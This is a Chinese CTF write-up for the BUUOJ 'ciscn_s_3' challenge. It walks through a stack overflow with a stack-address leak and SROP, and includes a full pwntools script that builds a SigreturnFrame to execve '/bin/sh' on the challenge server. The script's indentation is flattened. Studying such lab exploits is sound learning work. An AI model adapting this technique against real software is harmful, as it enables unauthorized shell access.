这题对还是萌新的我来说有点难,用的SROP
可以看到gadget函数里rax可以从两个值里选一个,选3b就是rop,选0f就是srop。本题因为vul里没有leave,只有ret,所以溢出为0x10
在送过去p1 = flat([’/bin/sh\x00’, ‘b’*8, read_write])之后,可以得到0x30个字符的回应。通过把断点下在write(0x400503),然后调试,可以接收到0x30个字符,其中0x20到0x28是一个栈上的地址,我们可以用它来确定/bin/sh的位置。
那我们需要确定栈的位置和栈的偏移。
栈的位置我们可以通过main函数的参数argv[0]得到,就是程序一开始时候的rsi,偏移只要我们输入数据之后(aaaa),find aaaa找到他的地址,然后相减就可以了
0x7fffffffe068 - 0x7fffffffdf50 = 0x118,那么我们接收到的地址-0x118就是我们/bin/sh的地址了。
为了溢出,我们要写’/bin/sh\x00’凑足8个字符。
exp:
from pwn import *
from LibcSearcher import *
local_file = './ciscn_s_3'
#local_libc = '/lib/x86_64-linux-gnu/libc.so.6'
#remote_libc = './libc.so.6'
select = 1
if select == 0:
r = process(local_file)
#libc = ELF(local_libc)
else:
r = remote('node3.buuoj.cn', 25236)
#libc = ELF(remote_libc)
elf = ELF('./ciscn_s_3')
context.log_level = 'debug'
context.arch = elf.arch
se = lambda data :r.send(data)
sa = lambda delim,data :r.sendafter(delim, data)
sl = lambda data :r.sendline(data)
sla = lambda delim,data :r.sendlineafter(delim, data)
sea = lambda delim,data :r.sendafter(delim, data)
rc = lambda numb=4096 :r.recv(numb)
rl = lambda :r.recvline()
ru = lambda delims, drop=True :r.recvuntil(delims, drop)
uu32 = lambda data :u32(data.ljust(4, '\0'))
uu64 = lambda data :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr :r.info(tag + ': {:#x}'.format(addr))
def debug(cmd=''):
if is_local: gdb.attach(r,cmd)
sigreturn = 0x4004DA
system_call = 0x0400517
read_write = 0x4004F1
main_addr = elf.sym['main']
p1 = flat(['/bin/sh\x00', 'b'*8, read_write])
sl(p1)
rc(32)
binsh_addr = u64(rc(8)) - 0x118
rc(8)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = system_call
p2 = flat(['a'*0x10, sigreturn, system_call, frame])
sl(p2)
r.interactive()
read_write是为了重新运行,送p2,p2的构造就是srop,溢出,syscall的序号,使用syscall,然后保证frame在栈顶,我们这frame使用execve这个函数